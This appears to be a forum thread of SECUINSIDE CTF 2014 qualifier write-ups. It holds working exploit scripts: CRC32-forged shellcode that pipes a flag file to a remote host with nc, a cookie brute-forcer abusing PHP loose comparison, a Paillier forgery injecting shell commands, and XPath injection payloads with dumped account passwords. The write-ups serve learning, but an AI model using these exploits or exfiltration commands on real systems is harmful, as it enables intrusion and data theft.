Старый 01.06.2014, 18:24   #1
Регистрация: 06.07.2010
Сообщений: 395
Репутация: 118
По умолчанию SECUINSIDE CTF 2014 Quals write-ups

This time several of us again participated in SECUINSIDE quals. Here go the solutions of several tasks, which I enjoyed to solve.


We're given the ELF32 binary "thisisnotbad" and the following code:
import os, signal, struct, binascii
from sys import stdin, stdout

UI = lambda a : struct.unpack('I', a)[0]
PI = lambda a : struct.pack('I', a)

def crc32(data, salt) :
    return PI(binascii.crc32(salt + data) & 0xffffffff)

def main() :

    salt = os.urandom(10)
    print 'salt:', salt.encode('hex')

    n = UI(stdin.read(4))
    data = ''.join(crc32(stdin.read(UI(stdin.read(4))), salt) for _ in xrange(n))

    fi, fo = os.pipe()
    if not os.fork() :
        os.execl('/home/sc/thisisnotbad', 'thisisnotbad', '%d' % fi)
    else :
        os.write(fo, PI(len(data)))
        os.write(fo, data)

if __name__ == '__main__' :
Let's look at the binary with HEX Rays:
void __cdecl main(int a1, int a2)
  size_t v2; // [sp+24h] [bp-Ch]@1
  int v3; // [sp+28h] [bp-8h]@1
  void *v4; // [sp+2Ch] [bp-4h]@1

  v3 = atoi(*(const char **)(a2 + 4));
  v2 = 0;
  read(v3, &v2, 4u);
  v4 = mmap(0, v2, 7, 34, -1, 0);
  read(v3, v4, v2);
  JUMPOUT(__CS__, (unsigned int)v4);
So, basically we should send such a packet, a CRC32 checksum of which will be a shellcode. This can be done due to forgery attack on CRC.
See, for example, http://blog.stalkr.net/2011/03/crc-32-forging.html.
Checksum is computed block by block, thus, we should send pack('I', 4) and 4-byte shellcode block one by one.

Let's generate shellcode with metasploit:

$ msfpayload linux/x86/exec CMD='/bin/sh -c "cat /home/sc/flag|nc 443"' N
# linux/x86/exec - 87 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false, 
# PrependSetreuid=false, PrependSetuid=false, 
# PrependSetresgid=false, PrependSetregid=false, 
# PrependSetgid=false, PrependChrootBreak=false, 
# AppendExit=false, CMD=/bin/sh -c "cat /home/sc/flag|nc 
# 443"
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x34"
buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63"
buf += "\x20\x22\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x73"
buf += "\x63\x2f\x66\x6c\x61\x67\x7c\x6e\x63\x20\x31\x30\x39"
buf += "\x2e\x31\x37\x30\x2e\x38\x2e\x31\x33\x39\x20\x34\x34"
buf += "\x33\x22\x00\x57\x53\x89\xe1\xcd\x80"
Now let's write an exploit:
import socket
from struct import pack, unpack

UI = lambda a : unpack('I', a)[0]
PI = lambda a : pack('I', a)
# Poly in "reversed" notation -- http://en.wikipedia.org/wiki/Cyclic_redundancy_check
POLY = 0xedb88320 # CRC-32-IEEE 802.3
#POLY = 0x82F63B78 # CRC-32C (Castagnoli)
#POLY = 0xEB31D82E # CRC-32K (Koopman)
#POLY = 0xD5828281 # CRC-32Q
def build_crc_tables():
    for i in range(256):
        fwd = i
        rev = i << 24
        for j in range(8, 0, -1):
            # build normal table
            if (fwd & 1) == 1:
                fwd = (fwd >> 1) ^ POLY
                fwd >>= 1
            crc32_table[i] = fwd & 0xffffffff
            # build reverse table =)
            if rev & 0x80000000 == 0x80000000:
                rev = ((rev ^ POLY) << 1) | 1
                rev <<= 1
            rev &= 0xffffffff
            crc32_reverse[i] = rev
crc32_table, crc32_reverse = [0]*256, [0]*256
def crc32(s): # same crc32 as in (binascii.crc32)&0xffffffff
  crc = 0xffffffff
  for c in s:
    crc = (crc >> 8) ^ crc32_table[(crc ^ ord(c)) & 0xff]
  return crc^0xffffffff
def forge(wanted_crc, str, pos=None):
  if pos is None:
    pos = len(str)
  # forward calculation of CRC up to pos, sets current forward CRC state
  fwd_crc = 0xffffffff
  for c in str[:pos]:
    fwd_crc = (fwd_crc >> 8) ^ crc32_table[(fwd_crc ^ ord(c)) & 0xff]
  # backward calculation of CRC up to pos, sets wanted backward CRC state
  bkd_crc = wanted_crc^0xffffffff
  for c in str[pos:][::-1]:
    bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord(c)
  # deduce the 4 bytes we need to insert
  for c in pack('<L',fwd_crc)[::-1]:
    bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord(c)
  res = str[:pos] + pack('<L', bkd_crc) + str[pos:]
  assert(crc32(res) == wanted_crc)
  return res

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('', 5757))
salt = s.recv(128)[6:-1].decode('hex')
print 'SALT %s' % salt.encode('hex')

buf =  "\x90"
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x34"
buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63"
buf += "\x20\x22\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x73"
buf += "\x63\x2f\x66\x6c\x61\x67\x7c\x6e\x63\x20\x31\x30\x39"
buf += "\x2e\x31\x37\x30\x2e\x38\x2e\x31\x33\x39\x20\x34\x34"
buf += "\x33\x22\x00\x57\x53\x89\xe1\xcd\x80"
sc = buf
t = PI(len(sc) / 4)
for i in xrange(0, len(sc), 4):
    r = forge(UI(sc[i:i + 4]), salt)
    print sc[i:i + 4].__repr__(), r.__repr__(), PI(crc32(r)).__repr__()
    t += PI(4) + r[-4:]
s.send(t + '\n')
print s.recv(128)
 $ python sol.py 
SALT 92a404a647511c0017ee
'\x90j\x0bX' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xeeF\xca\xfet' '\x90j\x0bX'
'\x99Rfh' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\x02\xb2Y2' '\x99Rfh'
'-c\x89\xe7' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xa0\x87\n\x18' '-c\x89\xe7'
'h/sh' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xb7U"V' 'h/sh'
'\x00h/b' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xc2\x18\x07l' '\x00h/b'
'in\x89\xe3' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xd1"\xf0W' 'in\x89\xe3'
'R\xe84\x00' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee-\xbfU[' 'R\xe84\x00'
'\x00\x00/b' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xad\x03\x83\xd2' '\x00\x00/b'
'in/s' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\x0e# \xc0' 'in/s'
'h -c' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\x89C\\\xef' 'h -c'
' "ca' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\x82l9w' ' "ca'
't /h' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee-\xbe\xf9\x0b' 't /h'
'ome/' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xfe\xda\xb9\xbf' 'ome/'
'sc/f' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xeeg5\xf4(' 'sc/f'
'lag|' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\x8cC\x16Y' 'lag|'
'nc 1' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xce\xab\x8c)' 'nc 1'
'09.1' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\x1c\x87\xfa\xd0' '09.1'
'70.8' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xb4\xaaQ\x8b' '70.8'
'.139' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xa0\x19\x08M' '.139'
' 443' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\xeb;&\r' ' 443'
'"\x00WS' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xeeY\xcf~\x93' '"\x00WS'
'\x89\xe1\xcd\x80' '\x92\xa4\x04\xa6GQ\x1c\x00\x17\xee\x9d\xa8\xeeL' '\x89\xe1\xcd\x80'
Note we've got the desired CRC32-sum of our payload -- it transforms into the shellcode after hashing.
And we see the flag!

$ sudo nc -vvv -l 80
Listening on [] (family 0, port 80)
Connection from [] port 80 [tcp/http] accepted (family 2, sport 35455)

WEB 200

We're given the site and PHP source code. Here're the interesting parts:
PHP код:
$common->isadmin())    $f "Flag is : ".__FLAG__
PHP код:
public function islogin(){
preg_match("/[^0-9A-Za-z]/"$_COOKIE['user_name']) ){
"cannot be used Special character");

$_COOKIE['user_name'] == "admin" )    return 0;

$salt file_get_contents("../../long_salt.txt");

hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] ){

First of all, note that MySQL SELECT operator is case-insensitive, which means we can bypass the check by sending 'Admin' instead of 'admin'.
The second note is that we can register 'adminANYTHING' account, get the hash, reverse CRC32 state and get the hash for admin.
But the authors forgot about another vulnerability -- insecure comparison operator '==' in PHP. Since CRC32 hash is 8-hex-digit long, we can generate a lot of strings which give us a hash of form '0+e\d+'.
Let's try to brute force login_time cookie identificator and wait until hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|Admin') will match regular expression '0+e\d+', which means it will be equal to '0' modulo '==' comparison.
Then we can send hash=0 in cookie and get the flag.

Let's do it in 10 threads:
import threading
import urllib2

def dobrute(a, b):
    for login_time in xrange(a, b):
        print login_time
            if 1353 != len(urllib2.urlopen(urllib2.Request(URL, headers = {'Cookie': COOKIE % login_time})).read()):
                print 'FOUND %s' % login_time
            if 1353 != len(urllib2.urlopen(urllib2.Request(URL, headers = {'Cookie': COOKIE % login_time})).read()):
                print 'FOUND %s' % login_time

URL = ''
COOKIE = 'login_time=%s; user_name=Admin; hash=0'

blocks = 1000
i = 0
threads = []
while i < 10:
    a = i * blocks
    b = 10000 if i == 10 - 1 else a + blocks
    i += 1
    threads.append( threading.Thread( target = dobrute, args = (a, b) ) )
i = 0

while i < 10:
    threads[ i ].start()
    i += 1
Wow, quite fast!
$ python sol.py
FOUND 3042
Let's try:
Cookie: login_time=3042; user_name=Admin; hash=0
Get the flag:
 Admin Logined <br /> Flag is : fd602a942c1cd716963996cf96e87847
P.S. Unfortunately I've aborted the single-threaded script at first, started to search for another solution and lost bonus points, 'cause thought, that brute force will be too long.


We're given two .pyc files (pillow_reader.pyc and PKI.pyc) and a .pcap file (which is the network dump of admin's session, in which he reads "secret" file, containing the instructions for getting flag). These .pyc files are python3 byte compiled files, and we can decompile them with unpyc3 (actually, we need to patch original unpyc3 because of the bug in OPCODE parsing, do it yourself).

Here're the decompiled sources:
import socket
import struct
import sys
import binascii
from PKI import PKI
from PKI import PubKey
g_guestkey = 'á笩\x19c\x0cð'
g_pki_client = PKI()
g_pki_server = PKI()

def s2i(s):
    b = s2b(s)
    t = binascii.hexlify(b)
    return int(t, 16)

def b2s(b):
    res = ''
    for x in b:
        res += chr(x)
    return res

def s2b(s):
    res = b''
    for x in s:
        res += bytes([ord(x)])
    return res

def i2s(i):
    d = hex(i)
    if d[-1] == 'L':
        d = d[:-1]
    if d[:2] == '0x':
        d = d[2:]
    if len(d) % 2 == 1:
        d = '0' + d
    res = bytes.fromhex(d)
    res = b2s(res)
    return res

def create_socket(host, port):
    global s
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    return s

def exchange_key():
    write(hex(g_pki_client.pubkey.n), False)
    data = read(1024, False)
    if data[-1] == 76:
        data = data[:-1]
    n = int(data, 16)
    return PubKey(n)

def write(data, with_encryption=True):
    if with_encryption:
        if not len(data) < 128.0:
            raise AssertionError
        data = i2s(g_pki_server.encrypt(s2i(data)))
    size = b2s(struct.pack('<I', len(data)))
    send_data = size + data

def read(size, with_encryption=True):
    size_str = s.recv(4)
    size = struct.unpack('<I', size_str)[0]
    data = s.recv(size)
    if size != len(data):
        print('Wrong data size.\n')
    if with_encryption:
        data_int = s2i(b2s(data))
        data = i2s(g_pki_client.decrypt(data_int))
    return data

def read_files(authkey, filenames):
    cmd = 'cat '
    for filename in filenames:
        cmd += filename + ' '
    cmd = cmd.rstrip() + '\n'
    write(authkey + cmd)
    res = ''
    for _ in range(len(filenames)):
        res += read(1024)
    return res

def main():
    global s, g_pki_server
    if len(sys.argv) < 4:
        print('Usage> %s <host> <port> <filename> <optional:authkey>' % sys.argv[0])
        return 1
    host = sys.argv[1]
    port = sys.argv[2]
    filename = sys.argv[3]
    if len(sys.argv) >= 5:
        key = sys.argv[4]
        key = g_guestkey
    s = create_socket(host, int(port))
    pubkey_server = exchange_key()
    g_pki_server = PKI(pubkey_server)
    print(read_files(key, [filename]))

if __name__ == '__main__':

import math
from PrimeUtils import PrimeUtils

class PrivKey(object):

    def __init__(self, p, q, n):
        self.p = p
        self.q = q
        self.n = n
        self.l = (p - 1)*(q - 1)
        self.m = PrimeUtils.modinv(self.l, n)

class PubKey(object):

    def __init__(self, n):
        self.n = n
        self.n_sq = n*n
        self.g = n + 1

class PKI:

    def __init__(self, pubkey=None, privkey=None):
        if pubkey is not None:
            self.pubkey = pubkey
            self.privkey = privkey
        self.privkey, self.pubkey = PKI.gen_keypair()

    def gen_keypair(bits=512):
        p = PrimeUtils.get_prime(bits//2)
        q = PrimeUtils.get_prime(bits//2)
        n = p*q
        return PrivKey(p, q, n), PubKey(n)

    def encrypt(self, plain):
        if not self.pubkey is not None:
            raise AssertionError('Public key must be exist')
        pubkey = self.pubkey
        r = PrimeUtils.get_prime(int(round(math.log(pubkey.n, 2))))
        if r > 0 and r < pubkey.n:
            cipher = pow(pubkey.g, plain, pubkey.n_sq)*pow(r, pubkey.n, pubkey.n_sq) % pubkey.n_sq
            return cipher

    def decrypt(self, cipher):
        if not self.privkey is not None:
            raise AssertionError('Private key must be exist')
        if not self.pubkey is not None:
            raise AssertionError('Public key must be exist')
        privkey = self.privkey
        pubkey = self.pubkey
        plain = privkey.m*((pow(cipher, privkey.l, pubkey.n_sq) - 1)//pubkey.n) % pubkey.n
        return plain
So, we've got the network dump of admin's. After googling about encryption algorithms involving 'mod n^2' operation, one can find out, that this is Paillier cryptosystem (http://en.wikipedia.org/wiki/Paillier_cryptosystem).
It's homomorphic public key encryption algorithm, which means, that we can forge the message without knowing admin_key.

Idea is as follow: we've got an encryption 'some_administrative_key' + 'cat secret \n'. Precisely speaking, we've got an encryption of integer representation of this string (hex-encode and cast to int).
Due to homomorphic property we can pad our message with null-bytes by multiplying it with some large integer (0x10000....) and then concat any other string with it by summing its integer representation with the previous one.
For example:
>>> i2s(0x100000000000000000000*s2i('aaaaaaaacat secret \n')+s2i(';cat flag1'))
'aaaaaaaacat secret \n;cat flag1'
In order to do this we should first raise first block to the power of 0x1000.... and then multiply it with (n+1)^int(second_block). See wikipedia article for explanation.
Note that we also should generate a custom client key, because we don't know p and q for the client key in the network dump.

Here's the solution:
import socket
import struct

def s2i(s):
    t = s.encode('hex')
    return int(t, 16)

def i2s(i):
    d = hex(i)[2:-1]
    if len(d) % 2 == 1:
        d = '0' + d
    res = d.decode('hex')
    return res

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('', 5151))

#send custom client key (packed length and hex(p*q))

sn = 0x86e05276d3c364cd6157e23cd972e0a662dff9ebf9ade83eae022c292c767bcd6cf528c7f6ae98af2f7811d99c9e45e7e4e6f1b9841aabf89a84dd0673099b61
#this is static server key

packet1 = 0x1f59856dbbbe90995cf94975afd94dcf46bf2d16d8b8a3754685d3eb3765d6918462378a2f7e948182e84a857a25be057a122e9d65e32fb01a984f442e781fa02e8a4d2728b1a4c3ea3905aa95ab9fba7b7dfa3b39116d49c10d161725aa0beeac18b7a2a9c9d55a0bf6f1a2b2ca903eb15086995b2f77d77d3f01678708ee60
#this is encryption of admin_key + 'cat secret \n'

packet2 = s2i(';cat flag1')
#this plaintext we're gonna add to the previous block

packet = i2s(pow(packet1, int('1' + '00' * 5, 16), sn ** 2) * pow(sn + 1, s2i('\x16flag2'), sn ** 2) % sn**2)
s.send('%s%s' % (struct.pack('<I', len(packet)), packet))

t = s.recv(1024)[4+127+4:]
#first response block is the contents of 'secret' file, but we need flag1 and flag2 files

p = 17421861234290884205887472881837178643952533161112521555021034764235014406161
q = 17421861234290884205887472881837178643952533161112521555021034764235014406307
n = p*q
l = (p-1)*(q-1)
m = 77991361953738812565335280050106137987030916054583460360898254805495276406111602978368306133616160853031700962203572838913967653303970452184985702978734
#m is inversed l

cipher = s2i(t)
d = m*((pow(cipher, l, n**2) - 1)//n) % n
#decrypt the result with client private key

print d
print i2s(d)
Flag not saved.

Последний раз редактировалось Beched; 01.06.2014 в 21:49..
Beched вне форума   Ответить с цитированием
Старый 02.06.2014, 09:16   #2
Регистрация: 25.04.2012
Сообщений: 101
Репутация: 31
По умолчанию

WEB 100: just xpath =(

Login page, two parameters, we were given test account: physicist:q5xli0j3qklgcwxedeml8g5ovljqfdps
Let`s use quotes - seems like sql injection.
moreover, there`s somethink kinda WAF: the application cuts ", SELECT, >, <, &

POST /1fa9027aaad62dc464bbc7d18edeb0f8_v/auth.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

userID=physicist' and 'selectaaaa'='aaaa&userPW=q5xli0j3qklgcwxedeml8g5o vljqfdps

<meta http-equiv='Refresh' content='0; URL=main.php'> //OK

POST /1fa9027aaad62dc464bbc7d18edeb0f8_v/auth.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

userID=physicist' and 'bbbb'='aaaa&userPW=q5xli0j3qklgcwxedeml8g5ovljqfd ps

<meta http-equiv='Refresh' content='0; URL=index.html'> //NOT OK
OK, let`s try to get version:

userID=physicist' and substring(version(),1,1) = '5' and 'a'='a&userPW=q5xli0j3qklgcwxedeml8g5ovljqfdps

[ERROR] We can't authenticate you with your input<br>
[ERROR] In the most case, we can't find a suitable object<br>
[ERROR] ByeBye!<br>
<meta http-equiv='Refresh' content='1; URL=index.html'>
wtf, there is substring() function, but version() doesn`t exist...

lets try node():


userID=physicist' and string-length(node()) = 0 and 'a'='a&userPW=q5xli0j3qklgcwxedeml8g5ovljqfdps

<meta http-equiv='Refresh' content='0; URL=index.html'>

userID=physicist' and string-length(node()) != 0 and 'a'='a&userPW=q5xli0j3qklgcwxedeml8g5ovljqfdps

<meta http-equiv='Refresh' content='0; URL=main.php'>
so, string-length was 840...
840 * 70 brute characters = 58800.
But xpath doesn`t make sence for 'A' and 'a'.

Let`s brute this sequence:
0123456789abcdefghijklmnopqrstuvwxyz _!$@[]{}

so, let`s make 37800 requests:
el3ctro20micha3l20faraday !from_a_local_bookbinder_to_electromagnetism! secret the_flag_is_the_password_of_this_account
no1_rich4rd_feynman the_greatest_professor normal just_professor_account
wow_max_planck he_is_a_horrible_looking_person normal just_professor_account
albert_einstein photoelectric_effect_guy normal just_professor_account
drop_isaac_newton he_is_apple_guy!!! normal just_professor_account
super_administrator c4tch_m3_if_y0u_c4n superuser it_is_not_secret_account!!!
v_ir_georg_ohm v_ir_r_unit_ohm normal just_professor_account
eq_clerk_maxwell maxwell_equation normal just_professor_account
physicist q5xli0j3qklgcwxedeml8g5ovljqfdps normal no_description
Jokester: Ок, с тобой проще согласиться чем переубедить. :)
HeartLESS вне форума   Ответить с цитированием

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot